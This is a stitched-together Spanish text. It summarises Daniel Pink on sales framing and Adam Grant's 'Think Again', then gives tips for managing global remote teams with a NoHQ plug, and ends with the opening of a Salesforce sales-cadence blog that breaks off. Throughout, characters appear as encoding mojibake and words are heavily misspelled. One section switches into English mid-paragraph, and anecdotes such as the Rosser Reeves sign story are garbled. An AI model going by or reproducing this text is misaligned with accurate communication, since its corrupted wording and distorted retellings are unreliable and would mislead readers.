la capacidad para ayudar a otros a ver su situaci贸n en modos m谩s reveladores e identificar los problemas que ellos no se dieron cuenta que ten铆an o la claridad es una de las habilidades m谩s importantes que el nuevo hombre de venta debe tener. 

Y una de las herramientas m谩s 煤tiles que los vendedores o cualquiera debe tener para brindar claridad es llamada estructuraci贸n

Pink nos cuenta el cuento de Rosser Reeves, un ejecutivo de publicidad norteamericano que hizo una apuesta famosa con un collage:

  • Los dos hombres vieron a un hombre sin hogar rogando un cambio con una se帽al escrita a mano que dec铆a: Soy ciego,
  • No le estaba yendo bien y parec铆a desilusionado
  • Reeves le dijo a su amigo que 茅l ser铆a capaz de aumentar el la cantidad de dinero que el hombre juntaba agreg谩ndole cuatro palabras a su cartel. Se hizo la apuesta y despu茅s de hablar con el hombre Rev茅s cambi贸 el cartel . Se sent贸 y mir贸 c贸mo las personas se deten铆an para hablar con el hombre y llenarle su gorro con dinero.

Las palabras que agregue fueron: es la hora de la primavera y por lo tanto el cartel ahora lee: esta primavera y soy ciego. Lo que movi贸 a la gente a ayudar al hombre fue el contraste de aquellas cuatro palabras . Aquel contraste daba claridad a la gente que no era capaz de comprar su realidad con la del hombre y sentir empatia. 

Es porque una de las preguntas m谩s importantes de hacer cuando se busca o se trata de dar claridad es Comparado a Que? Pink describe cinco estructuras que podemos utilizar para dar claridad a aquellos que est谩n esperando que se muevan. I

El primero es 鈥渕enos estructura鈥 la cual dice que encuadrar las acciones de las personas en modos que retengan sus opciones puede ayudarlos a ver aquellas opciones m谩s claramente. A todos le gustan las opciones, pero demasiado de una buna cosa puede solo convertirse en algo lo suficientemente frustante para hacer que la gente se vaya. 

Luego esta el ecnuadre de la experiencia, que nos recuerda que la gente tiene emociones mas fuertes y mas duraderas sibre kas exoereiucias que las posesiones materiales. Si quieres venderle a alguien un autom debes emfatizar los viajes que ellos tomaranm amigos que veran y no las caracterusticas dekl vegiculo. Los clietes son son mas probable que sena vendidos sobre la idea de que ellos puedan verse viviendo aquella vida. 

El enmarco etiqueta ayuda a la gente definir algo reposndiendo la pregunta comparado a que. Puede poner acciones o experiewncias en un contexto y definir lo que se esperam que tiende a hacer que la gente caiga en la linea. 

El encuadro blemished demuestra que si traes un aspecto negativo de un producto luego de resaltar muchas de sus virtudesm la gente probablemtne eligira el prducto Blemished en vez de uno puramente positivo. Esto parece funcioanr mejor para la gente que esta ocupada o distraida y condiera estar poniendo poco esfuerzo en una decision. 

Por ultimo hay un encuadre potenicalm lo que sugiere que la gente sea mas interesada y se intrigue en lo que algunos puedan ahcer mas que ellos hayan ya hechom Es la razon de porque los buenos potenciales clientes son a veces mas exitantes a un equipo que un jugador estavlecido o porque un disenador prometedor atraep la atencion de todos si el o ella esta considerado como la mejor proxima cosa. 

Pink ofrece una ulyima herramienta en el camino apra clarificar y que este en la via de salida. El dice que no deberias solo senalar a la gente en la direccion correcta sin darles un mapa del camino para llegar alli. 

Si quieres que la gente se muevam o comprar lo que estan vendiendom tienes que darles claridad en como actuar como tambien como piensan. Su gaces esom tendras pcoo problema convencinedo a la gente que se pongas de acuerdo contigo. 

Conlcusion

Esto es el ABC de la vento para llegar a donde quieres ir. 

Buensa suerte y feliz venta.

El Poder de Saber lo que no Sabes y C贸mo Reinventarte

La inteligencia es por lo general vista como la habilidad para pensar y aprender, pero en un mundo r谩pidamente cambiante puede importar mas aquello que podamos repensar y desaprender. El psic贸logo empresaria Adam Grant es un experto en abrir las mentes de otras personas y la propia. En el siguiente articulo basado en el libro Think Again nos invita a eliminar ciertas visiones que ya non nos sirven y a valorar la flexibilizad mental, la humildad y la curiosidad por sobre la consistencia est煤pida. Si el conocimiento es poder saber lo que no sabemos es sabidur铆a.

Cuando la mayor铆a de las personas piensan en el concepto de la capacidad mental, primero piensan en la inteligencia. Cuanto m谩s alto sea tu CI, m谩s podr谩s resolver problemas complejos. 

Grant nos cuenta la historia fascinante de un bombero forestal llamado Wagner Dodge:

  • Ante el peligro de un cambio de direcci贸n de un incendio fuera de control que amenazaba a su equipo, hizo algo poco ortodoxo, 
  • Enciende un f贸sforo, y quem贸 un pedazo de pasto a su alrededor. Luego humedece su pa帽uelo, lo puso en su boca y se acost贸 durante 15 minutos a medida que el fuego devoraba todo a su alrededor,
  • Nadie le hab铆a ense帽ado a hacerlo y parec铆a tan contradictorio para el resto de su equipo que continuaron corriendo, tratando de estar a salvo antes de que sea demasiado tarde. 2 de ellos lo lograron pero 12 no y murieron en las llamas,
  • Dodge se hab铆a salvado improvisando una soluci贸n que nadie en la historia de los bomberos hab铆a ense帽ado hacer, quem贸 un pedazo de pasto a su alrededor de manera que el fuego tuviera el combustible de que,a medida que pasaba. 

Hab铆a expuesto una flexibilidad mental de lo cual se trata este libro.

En estos pr贸ximos minutos aprenderemos a como dejar ir el conocimiento y las opiniones que no nos est谩n sirviendo bien, y encuentra nuestra identidad en la flexibilidad m谩s que en la consistencia. 

Parte 1: Replanteamiento Individual:

Predicador, un Fiscal, un Pol铆tico y un Cient铆fica que Camina hacia tu Mente.

Una de los colegas de Grant, Phil Tetlock, descubri贸 que cuando hablamos y pensamos por lo general exponemos los pensamientos de tres personas diferentes:

  1. Predicadores,
  2. Fiscales, y
  3. Pol铆ticos
  1. Predicadores: Cuando sentimos que nuestros pensamientos sagrados est谩n siendo desafiados, nos ponemos en modo predicadores para proteger y promover nuestros ideales,
  2. Fiscales: Cuando reconocemos errores en el razonamiento de otra personas, nos ponemos en modo de fiscal y tratamos de demostrar que est谩n equivocados, y
  3. Pol铆ticos: Cuando estamos tratando de ganar una audiencia, nos ponemos en modo pol铆tico, haciendo campa帽a y lobby para la aprobaci贸n de nuestras ideas.

El riesgo aqu铆 es que estamos tan atados a estos modos que hemos elegido que somos incapaces de repensar nuestras propias visiones.

El ant铆doto que Grant sugiere es pensar como un cient铆fico.

Aunque el ser un cient铆fico incluye tener un pensamiento de una mente abierta sobre la realidad, va mucho m谩s all谩. Requiere que investiguemos las razones por las cuales estamos equivocados y revisemos lo que creemos basados en lo que aprendemos en el proceso. 

Aqu铆 es lo que sucede cuando estas varado en una de los tres modos antes mencionados, en vez de estar en el modo cient铆fico:

  • Cambiar nuestros pensamientos es una marca de debilidad moral en el modo predicador en vez de una se帽al de integridad intelectual,
  • Permitir ser persuadidos es admitir la derrota en el modo fiscal en vez de un paso hacia la verdad, 
  • Como pol铆tico, saltamos en repuesta a zanahorias y palitos, en vez de responder a informaci贸n mas fuerte y l贸gica. 

El Estratega del Sill贸n y el Impostor: Encontrando el Lado Dulce de la Confianza

La confianza en s铆 misma es una medida de cu谩nto crees en ti mismo y a la mayor铆a de las personas se les dificulta unir su nivel de confianza con el nivel de competencia. 

Por un lado:

  • Nuestra confianza excede nuestra capacidad: Este es el s铆ndrome del estratega del sill贸n,
  • Cuanto menos inteligente somos en un dominio en particular m谩s parece sobreestimar nuestra capacidad,
  • Los fans del deporte en el mundo que no tienen un alto nivel de experiencia en un deporte tienden a gritar a los entrenadores en la television que aquellos que s铆 lo son. 

Por otro lado:

  • Est谩 el s铆ndrome del impostor, donde nuestra capacidad excede nuestra confianza,
  • Mientras esto no sea el lugar 贸ptimo en el espectro para ser (m谩s en aquello que en un minuto _ existen m谩s ventajas 贸ptimas para sentir como un impostor en vez de un estratega del sill贸n.

Sinti茅ndote como un impostor puedes

  • Motivarnos a trabajar m谩s duro;
  • Motivarnos a trabajar m谩s inteligentemente. Cuando creemos que no vamos a ganar, no tenemos nada que perder repensando y cambiando nuestra estrategia,
  • Hacernos mejor aprendices porque probablemente busquemos ayuda de otros. 
Por lo tanto, si est谩s tratando de mejorar tu flexibilidad mental, es mejor equivocarse en el lado de la subestimaci贸n de tu capacidad. 

Sin embargo, el lado dulce de la confianza es alg煤n lugar en el medio entre el s铆ndrome del estratega del sill贸n y el del impostor. La gente que ocupa este lugar en el espectro es mucho m谩s probable que hagan la distinci贸n entre sus objetivos y sus m茅todos.

Pueden ser extremadamente confiables en su capacidad de adquirir un objetivo futuro mientras tienen la humildad de cuestionarse si tienen las habilidades correctas y estrategias hoy en d铆a o no.

La Alegr铆a de Estar Equivocado: La Emoci贸n de No Creer Todo lo que Piensas 

Una de las cosas que necesitas estar c贸modo cuando piensas como un cient铆fico es estar equivocado.

Desafortunadamente, la mayor铆a de nosotros no nos gusta estar equivocados, especialmente algo que sucede muy en nuestro interior. 

Cuando algo significativo para nosotros es cuestionado:

  • Sacamos nuestro dictador interno en nuestra cabeza,
  • El t茅rmino psicol贸gico para esto es el ego totalitario, y
  • Su objetivo es sacar la informaci贸n amenazante
La gente m谩s exitosa en el mundo ha descubierto como escapar la fuerza de su ego separ谩ndose en dos modos cr铆ticos. Pueden despegarse de su parte del pasado, de su presente y sus opiniones de sus identidades. 

Una de los empresario m谩s exitosos del mundo, Ray Dalio (el fundador de Asociados Bridgewater), dice lo siguiente:

Si no te miras a ti mismo hacia atr谩s y piensas: Uau que est煤pido fui un a帽o atr谩s, entonces no debes haber aprendido mucho en el  煤ltimo a帽o. 

La gente como Dalio actualiza sus creencias e ideas m谩s frecuentemente que menos gente exitosa.

Tienen la capacidad de:

  1. Preguntar ideas antes de aceptarlas, y
  2. Continuar cuestion谩ndolas luego de aceptarlas. 

La raz贸n por la que ellos est谩n tan c贸modos de estar equivocados en el corto plazo es que est谩n aterrorizados de estar equivocados en el largo plazo.

Saben que el 煤nico modo de estar en lo correcto a largo plazo es pensar nuevamente de manera continua, reafirmando la verdad y el 茅xito. 

Como se帽ala Grant:

Este camino no es siempre color de rosa porque admitir nuestros errores es doloroso. Pero cuando mantenemos en mente que somos esenciales para el progreso toleramos el dolor a corto plazo en el servicio de la retribuci贸n a largo plazo. 

El Club de la Buena Pelea: La Psicolog铆a Constructiva

Existen dos tipos de conflicto en los equipos:

  1. El conflicto de las Relaciones, y
  2. El conflicto de la Tarea.

La primera es el conflicto de las relaciones y que se encuentra en el camino del replanteamiento:

  • Cuando un conflicto se convierte en algo personal y emocional, aparece en el camino del repensamiento,
  • Porque estamos dedicando todo nuestro tiempo en defendernos a nosotros mismos y a nuestra identidad. 

El segundo es el conflicto de la tarea: Est谩 focalizado principalmente en las t谩cticas y estrat茅gicas que son desplegadas para cumplir los objetivos.

Este tipo de conflictos:

  • Fomentan a que miremos nuestras diferencias de opini贸n,
  • Sin hacer las cosas personales

Los estudios han demostrado que los equipos que rinden peor tienen m谩s conflictos de relaci贸n que los de tareas, Terminan estando tan ocupados disgustados unos con otros que no se sienten c贸modos desafi谩ndose unos con otros. 

Por el contrario, los grupos que rinden mejor tienen bajos conflictos de relaci贸n y se mantienen juntos su tiempo. Esto le permite desafiarse unos a otros y luego alinearse en una direcci贸n para realizar las cosas. 

Por lo tanto 驴C贸mo creas un equipo que se sienta c贸modo debatiendo las t谩cticas y estrategias que utilizan para alcanzar su objetivo 煤ltimo

Una de las cosas que puedes hacer es:

  1. Encuadrar un conflicto como un debate en vez de un desacuerdo,
  2. Esto les dices a todos: Que quieres escuchar las opiniones diversas y que est谩s abierto a cambiar tu opini贸n,
  3. Por lo tanto, la pr贸xima vez que quieras un conflicto de tarea productiva comienza con esta pregunta:驴Podemos debatir?

Parte 2 Repensamiento Interpersonal: Abriendo las mentes de otras Personas

Bailando con Enemigos: Como ganar Debates e Influenciar Gente

驴C贸mo hacemos que otras personas abran su mentes y repiensen sus posiciones? 

Neil Rackham ha pasado su carrera estudiando lo que los negociadores de los expertos hacen de manera diferente desde los remedios. Ignoramos que existen cinco diferencias

Primero:

  • Los expertos de cuando un tercio de su tiempo de preparaci贸n encontrando 谩reas de piso com煤n con el otro lado, y
  • Los negociadores del promedio pasaron casi nada haciendo esto.

Segundo:

  • Los expertos tienden a presentar menos razones para apoyar su caso m谩s que lo que lo hicieron los negociadores,
  • Los negociadores promedios que tienen mayores argumentos a su favor ser谩n m谩s persuasivos,
  • Los expertos entienden que esto solo sirve para decantar sus mejores puntos. 

Tercero:

  • Los expertos evitan lo que Rackham llama los espirales de ataque-defensa donde derriban las propuestas de sus oponentes y duplican su posici贸n,
  • En cambio los expertos explican su curiosidad con preguntas como: 驴No ves algo de m茅rito en esta propuesta?

Cuarto, los expertos hacen m谩s preguntas que los negociadores promedios. Para cada 5 comentarios hechos por expertos al menos uno concluye en una pregunta.

Quinto:

  • Los expertos son muchos en tono con los sentimientos de ambos propios y de sus contra partes, a trav茅s del proceso.
  • Por ejemplo, si est谩n frustrados por algo lo verbalizan y preguntar谩n si la otra parte est谩 sintiendo lo mismo. 
Cuando agregas todas estas diferencias, probablemente recortar谩s el ciclo de la sobre confianza y har谩s que la gente se involucre en el repensamiento de su posici贸n.

Mala Sangre en el Diamante: Disminuir el Prejuicio Desestabilizando los Estereotipos.

Los psic贸logos han encontrado que muchas de nuestras creencias son ampliamente compartidas pero rara vez cuestionadas. 

La pregunta que exploraremos es

  • Por qu茅 la gente crea estereotipos? y
  • C贸mo hacemos que la gente los repiense? 

Es una gran pregunta, y la respuesta yace en algo que la psicolog铆a llama el pensamiento de contraste:

Te pide imaginar c贸mo las circunstancias de nuestras vidas han desplegado de manera diferente e impactado nuestras visiones del mundo. 

Por ejemplo, podemos considerar preguntar a la gente preguntas como: 

  • C贸mo ser铆an diferentes tus estereotipos si hubieras nacido de piel negra, asi谩tico, norteamericano o hispano? 
  • C贸mo ser铆an tus opiniones diferentes si hubieras nacido en una granja en vez de una ciudad?
  • C贸mo hubieras pensado de manera diferente si hubieras nacido en el 1700
Lo que hace esto es ayudar a la gente a darse cuenta que muchas de las personas en un grupo que ellos previamente y ciegamente odiaban no son tan terribles despu茅s de todo.  Esto desestabiliza su prejuicios ayud谩ndolos a darse cuenta que ellos muy f谩cilmente podr铆an tener estereotipos diferentes si fueran ubicados en circunstancias diferentes, 

Susurradores de Vacuna e Interrogadores de Suaves Modales: Como la Manera Correcta de Escuchar Motiva a la Gente a Cambiar

Por primera vez en la mitad del siglo, sarampi贸n est谩 en aumento porque no se estan vacunando las suficientes personas. Mayormente porque no creen en la ciencia detr谩s de esto. 

Los gobiernos han tratado de ser exitosos confinado a la gente y encerr谩ndola pero no ha funcionado.

Grant sugiere que la soluci贸n sea en base al carisma inverso el cual describe la calidad magn茅tica de un gran oyente.

Una t茅cnica de escucha poderosa que puedes utilizar es llamada Entrevista Motivacional. Es la teor铆a pr谩ctica exitosa y mas altamente probada que la totalidad del campo de la ciencia de comportamiento ha producido hasta ahora.

Est谩 basada en tres t茅cnicas claves:

  • Hacer preguntas con final abierto,
  • Practicar la escucha reflexiva, 
  • Afirmar el deseo de otra persona y la capacidad de cambiar.
Cuando la gente ignora el consejo no es siempre porque est谩n en desacuerdo con el mismo. Es con frecuencia debido a nuestra tendencia natural de resistir el sentimiento que alguien est谩 controlando nuestra decisi贸n.

Los estudios en esta 谩rea han demostrado que cuando la gente est谩 tratando con oyentes atentos emp谩ticos y no cr铆ticos:

  • Sienten la libertad de explorar sus opiniones m谩s profundamente,
  • Reconocer m谩s matices en ellos, y
  • Compartir sus proceso de pensamiento m谩s abiertamente. 

B谩sicamente, sienten m谩s libertad en descubrir sus razones y motivaciones para cambiar sus mentes. 

Parte 3: Repensamiento Colectivo: Crear Comunidades de Aprendizaje Permanente

Conversaciones Cargadas: Despolarizando Nuestras Discusiones Divididas

Los seres humanos sufrimos de algo que los psic贸logos denominan perjuicio binario: Es nuestra tendencia para simplificar una continuidad compleja en dos categor铆as en un esfuerzo por buscar claridad y exposici贸n. .

Grant utiliza Al Gore como un ejemplo, y como 茅l presenta sus declaraciones para la naturaleza destructiva del cambio clim谩tico:

  • Haciendo un tema complejo en uno donde existen cient铆ficos de un lado y negadores del clima por el otro,
  • Esta fomentando sin intenci贸n a la gente que est谩 a punto de descartar o desinvolucrarse del problema.

La soluci贸n a este problema se llama complejificaci贸n, que demuestra que existen un rango de perspectivas posibles en un tema dado. 

Una de las claves para sobrepasar este d茅ficit en tu comunicaci贸n de los temas complejos es:

  • Incluir advertencias,
  • Un simple estudio o incluso una serie de estudio son rara vez concluyentes,
  • Los cient铆ficos incluyen m煤ltiples p谩rrafos en la limitaciones de sus descubrimientos. 

Reescribiendo el Manual: Ensenar a los Alumnos a Cuestionarse el Conocimiento

Todos crecemos en un sistema de escuela que est谩 focalizada en una persona (el maestro) entregando informaci贸n a sus alumnos que utilizan un formato de clase. 

Incluso cuando los avances en la tecnolog铆a en la 煤ltima d茅cada no han cambiado este paradigma. Simplemente mejoramos en entregar el mismo m茅todo en escala. 

Mientras est谩 claro que las clases pueden ser entretenidas e informativas, la pregunta qu茅 Gran nos hace es si ellos: 驴Son el m茅todo ideal para ense帽ar

No son especialmente ellos los que nos ayudan a adaptarnos. Es porque las clases so est谩n dise帽adas para acomodar el di谩logo o el desacuerdo, lo que significa que nos convertimos en receptores pasivos de informaci贸n, en vez de pensadores activos que desesperadamente necesitamos ser. 

El ant铆doto a esto es llamado aprendizaje activo, lo cual se trata de lograr que el aprendiz se involucre profundamente en el proceso de aprendizaje. 

Grant fomenta a sus alumnos en Wharton que:

  • Se cuestionen lo que aprenden en una tarea que el les da,
  • Donde se les hace cuestionar una pr谩ctica popular, o
  • Desafiar los principios que fueron cubiertos en la clase. 

Una de las ideas que surgi贸 de la tarea fue el d铆a de la charla apasionada:

  • Un d铆a entero de charlas donde los alumnos pod铆an hacer una presentaci贸n sobre algo que los apasionaba,
  • Esto fomentaba la pregunta no s贸lo como pod铆an aprender,
  • Sino tambi茅n de  quienes podr铆an o deber铆an aprender (todos).

No es s贸lo el modo que hemos siempre Hecho esto: Construir Culturas de Aprendizaje ene el Trabajo

Repensar no es solo una habilidad individual, es una capacidad organizativa que ampliamente viene de su cultura. 

En culturas orientadas al rendimiento:

  • La empresa por lo general se adhiere a sus procedimientos operativos comunes,
  • Esto solo no es malo porque es un modo probado de generar los resultados que una empresa est谩 buscando,
  • Pero surge de un cualidad en un vice cuando la gente deja de cuestionarse d贸nde puede ser imperfecto el proceso o c贸mo podr铆a mejorar. 
Las culturas de aprendizaje, donde la gente est谩 constantemente investigando nuevas y mejores cosas de hacer las cosas est谩n basadas en una combinaci贸n de seguridad psicol贸gica y responsabilidad. Aunque pueden parecer como opuestos completos la parte dulce es cuando ambos est谩n presentes. 

Si tienes una seguridad psicol贸gica sin responsabilidad, la gente tiende a permanecer en su zona de confort. Cuando existe responsabilidad pero no es segura, la gente tiende a permanecer en silencio en la zona de ansiedad.

El t茅rmino de seguridad psicol贸gica fue hecho popular por Amy Edmonsdon de Harvard University:

Es una creencia que no ser谩 publicada cuando cometes un error lo que fomenta la creatividad y moderar la toma de riesgo que ayuda a la organizaciones a florecer.

Entonces: 驴C贸mo creas una organizaci贸n de aprendizaje

Para crear una cultura de seguridad, puedes:

  1. Comenzar admitiendo algo de tus imperfecciones a tu equipo, y
  2. Constantemente invitar a la critica constructiva,
  3. Esto ayudar谩 a otros a sentirse c贸modos admitiendo cuando est茅n equivocados y focalizarse en solucionar temas en vez de esconderlos.

Para crear una cultura de responsabilidad del proceso, puedes comenzar haciendo que todos se pregunten: 驴C贸mo lo sabes? 驴C贸mo sabes que si intentamos aquel nuevo enfoque no funcionar谩? o 驴C贸mo sabes que esto produjo tal error? Es f谩cil pero efectivo mantener a todos focalizados en encontrar un mejor modo adelante, mientras garantizamos que no estamos ciegamente aceptando opciones como hechos.

Conclusion

En un mundo que esta demand谩ndonos que repensemos casi todo, es un libro que nos ayuda dejar fuir el conocimiento y las opiniones que no nos est谩n ya sirviendo, y encontrar nuestra identidad en la flexibilidad, en vez de nuestra consistencia.

Claves Para Manejar Equipos Globales Con Exito

A medida que crece la econom铆a mundial m谩s empresas est谩n ayudando a la expansi贸n internacional. Esto se refiere a la confianza en la fuerza de trabajo dispersa. Se ha transformado en algo muy com煤n el tener empleados remotos en diferentes lugares.

La mayor铆a de los empleados prefieren trabajar con empresas que ofrezcan trabajo remoto. Considerando que hasta el 25% de la fuerza de trabajo global en las empresas son 100% remoto y tienen pol铆ticas de equipos virtuales, podemos decir que apoyando una entorno de trabajo diverso es tambi茅n celebrado de manera mundial.

驴Quieres aprender c贸mo navegar en las complejidades de manejar un equipo global? NoHQ tiene recursos accionables que pueden ayudarte a alcanzarlo. En este art铆culo se explora la importancia de los equipos globales para tu empresa. Tambi茅n aprender谩s consejos pr谩cticos que te ayudar谩n a construir de manera exitosa equipos globales que funcionen.

驴Por qu茅 son importantes los Equipos Globales?

Las empresas internacionales funcionan mejor cuando tienen talentos alrededor del mundo. 驴Por qu茅? 

  • Los Equipos Globales Fomentan la inclusividad y la diversidad en tu empresa. Con su amplio rango de experiencia. los miembros del equipo distribuidos pueden ayudar a crear y desarrollar estrategias y soluciones. Adem谩s trabajar en diferentes husos horarios iguala una estructura de soporte flexible y mayor alcance. Porque los miembros del equipo est谩n disponibles m谩s horas durante el d铆a, pueden responder a la lista de clientes global. 
  • Otra importancia de los equipos globales es la productividad aumentada. Ya que buscan tareas en diferentes zonas horarias tienden a complementar proyectos m谩s r谩pidamente. Sin importar si el 31 % de los profesionales de recursos humanos estableciera  la productividad como el beneficio central de los equipos globales.
  • Los equipos globales efectivos ayudan a las empresas a competir en el mercado actual sin l铆mite de zonas. 

Pero, 驴c贸mo se gerencia de manera efectiva a tus equipos a trav茅s de los l铆mites y establecer su 茅xito? 

10 Modos Para Manejar de Manera Exitosa a Los Equipos globales

1. Programa Reuniones Regulares Para El Equipo Completo

Tener reuniones de equipo programadas es la clave para tener equipos comprometidos y alineados. Esto es cierto incluso para los equipos distantes socialmente. Las reuniones son oportunidades de colaboraci贸n esencial que ayudan a los miembros a trabajar juntos, compartir ideas y lograr objetivos. 

Ya que los equipos tienen un tiempo limitado en com煤n, es mejor que tengan reuniones de equipos estructuradas con agendas bien planeadas. Aseg煤rate de adherirte a los horarios de rutinas y crear una retina que funcione para todos. 

El 96% de los que respondieron a este estudio acordaron que la conferencia por video favorece la conectividad entre los equipos remotos. Tambi茅n ayuda a los miembros del equipo a construir empat铆a y confianza. Por lo tanto elige plataformas como Zoom, GoogleMeet, o Skype.

2. Invierte en Herramientas de Control de Tareas

Las herramientas de control de tareas y de proyectos son programas basados en la nube que te permiten mantener un registro de las tareas de tu equipo y plazos. Pueden enviar recordatorios y dar informes diarios, semanales y mensuales. Las aplicaciones de seguimiento de tiempo son una inversi贸n excelente si tu empresa paga por hora.  

Estos programas te ayudan de manera efectiva a manejar el equipo de tu equipo a donde est茅n. Asignar tareas, establecer plazos y monitorear su progreso de manera simult谩nea. La mejor parte? Los miembros de equipo que trabajan en proyectos compartidos pueden ser elegidos en lugares desocupados por otros. Las aplicaciones de seguimiento de tareas como Asana, Monday.com, y Trello pueden ayudarte a manejar un equipo global de manera efectiva. 

3. Mejora la Comunicaci贸n

Manejar el flujo de trabajo, agendas y tareas a trav茅s de los diferentes lugares y zonas horarios puede ser desalentador. Incluso con herramientas de manejo de proyectos, los mensajes pueden ser a veces perdidos en la traducci贸n. 

Garantizar que tienes una comunicaci贸n clara y frecuente con cada miembro del equipo es un modo de fomentar el compromiso del empleado y construir equipos globales que funcionen. Aseg煤rate de discutir las expectativas para cada rendimiento, progreso, desaf铆os y cambios de cada miembro del equipo. 

Crea oportunidades para que ellos sugieran ideas y resuelvan desacuerdos cuando sea necesario. La comunicaci贸n uno a uno tambi茅n crea espacio para la devoluci贸n honesta de ambos lados. 

4. Ofrece Critica Constructiva

Un feedback honesto y abierto crea relaciones basadas en la confianza contigo y con tu equipo. Es tambi茅n una oportunidad para seguir su crecimiento profesional y ofrecer consejo que pueda mejorar su rendimiento laboral. N贸tese que es mejor dar una cr铆tica constructiva y feedback durante las reuniones uno a uno. Las mismas pueden ser realizadas una vez por mes, cada tres meses o al final de un proyecto.

El mejor modo de dar feedback es:

  • Garantizar que tu rendimiento sea espec铆fico. 
  • Ofrecer premios y halagos por sus contribuciones y exitos.
  • Dirigirlos a recursos relevantes para ayudarlos a mejorar.

5. Contrata a la gente correcta 

Cuando contratas, busca gente que tenga la experiencia y el perfil para tu empresa. No todos pueden manejar el trabajo remoto. Contratar a la persona equivocada puede r谩pidamente ocasionar problemas para tu equipo global. Para evitar esto, haz que el candidato tome evaluaciones de personalidad relevantes. Tambi茅n debes corroborar sus referencias.

驴Quieres estar seguro en c贸mo reclutar para trabajos remotos? NoHQ es una gran plataforma que ayuda a suavizar los desaf铆os de contrataci贸n globales para muchas empresas. Reimagina tu proceso de contrataci贸n remota con tu gu铆a de contrataci贸n.

6. Antic铆pate a los Obst谩culos 

Trabajar de manera remota tiene su 煤nico conjunto de obst谩culos. Piensa en distracciones como los ruidos de vecinos, ni帽os, lavarropas o incluso de las mascotas. Esto puede afectar la capacidad de cada miembro de equipo para focalizarse y ser productivo. anticiparse a estos obst谩culos 煤nicos te ayudar谩n a ofrecer el apoyo correcto a tu. Equipo remoto. Tambi茅n estar谩n mejor preparados para superar obst谩culos y alcanzar los objetivos establecidos. 

Para manejar a los equipos globales exitosamente, considera ofrecer opciones de trabajo alternativa donde sea posible. Tambi茅n, trata de no restringir sus horas de trabajo a un horario espec铆fico. La mayor铆a de las personas que trabajan remoto tienden a ser m谩s productivas en horarios pocos comunes del d铆a, desde la medianoche a la madrugada. 

7. Toma nota de las diferencias culturales

Los equipos globales tienden a incluir gente de diferentes culturas y profesiones. Los miembros de equipos pueden sentirse irrespetuosos o ignorados cuando estas diferencias no son reconocidas. Para evitar esto, fomenta las conversaciones respetuosas e inclusivas sobre las diferencias culturales.  Esto abrir谩 posibilidades al equipo y mejores modos de manejar ciertas situaciones. Junto con un entendimiento profundo de requisitos culturales diferentes y pr谩cticas comerciales, ser谩s capaz de dete,Omar como las diferencias afectaran a otros miembros del equoipo.

8. Crea una comunidad Virtual 

Los empleados que trabajan de manera remota tienden a sentirse f谩cilmente dejados. Para garantizarles que permanecen comprometidos: construye una comunidad virtual donde todos se sientan parte d e una familia. Esto disparar谩 una colaboraci贸n cultural y uni贸n en el equipo.

驴Como puedes hacerlo? Tecnolog铆a de apalancamiento y herramientas de colaboraci贸n. Adem谩s no todo es trabajo, cuando est茅s trabajando con equipos globales, puedes organizar reuniones de caf茅 virtual, almuerzos o,momentos de recreaci贸n. Esto los ayudar谩 a establecer conexiones y fomentar el esp铆ritu de equipo.

9. Brinda todos los recursos necesarios 

El brindar apoyo a los empleados reomots incluye darles todos los recursos que necesitan para realizar el trabajo. Para gaarntizar el exito de tu esfuerzos en el gerenciamiento del proyecto global, no pases por alto las necesidades de tu equipo.  

Si existiera una falla en la comunicacion, construyela con entrenamiento del idioma y clases de oratoria. Los empleados probalblemnte tengan exito en sus trabajos cuando existen oportinades de desarrollo porfesional .

10. Implementa Paquetes y Beneficios de Compensaci贸n Justa

:Los paquetes de compensaci贸n y los beneficios son fundamentales al contratar y retener a los empleados. Compensation packages, and perks are instrumental in hiring and retaining employees. Although providing free catered lunches and gym memberships may work for office-based employees, they won鈥檛 for global teams

Some tried and trusted perks for remote employees include: 

  • paid time off
  • WFH equipment
  • child care assistance
  • coworking stipend
  • learning stipends for online classes, etc.

Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

脷ltima actualizaci贸n el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participaci贸n de ventas?

Objetivos:

Despu茅s de leer este blog, podr谩s:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscr铆base para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado autom谩ticamente desde la clase Apex
  • Y mucho m谩s.

馃憠 Anteriormente, escrib铆 un art铆culo sobre Sales Engagement. 驴Por qu茅 no echarles un vistazo mientras lo haces?

  1. 驴Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea espec铆fica. Siempre que un vendedor por tel茅fono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participaci贸n de ventas, aseg煤rese de la creaci贸n autom谩tica de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participaci贸n en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

驴Qu茅 es la cadencia de participaci贸n en ventas?

La adquisici贸n de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, est谩n listos para emprender actividades de divulgaci贸n. 隆Pero espera! Demos un paso atr谩s y reflexionemos sobre las siguientes preguntas como pre谩mbulo para comprender la cadencia de ventas: (1) 驴Con qu茅 frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) 驴C贸mo le gustar铆a que se comunicaran con el cliente potencial, mediante llamada o correo electr贸nico? (2) 驴C贸mo desea capturar la disposici贸n de las llamadas? (3) etc茅tera.

La cadencia de participaci贸n de ventas es una l铆nea de tiempo de las actividades y m茅todos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El prop贸sito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluir铆a una lista de las cosas que hace para programar la primera reuni贸n.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electr贸nico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinaci贸n de las tres formas de comunicaci贸n mencionadas.

Una cadencia de participaci贸n de ventas se parece a esto:

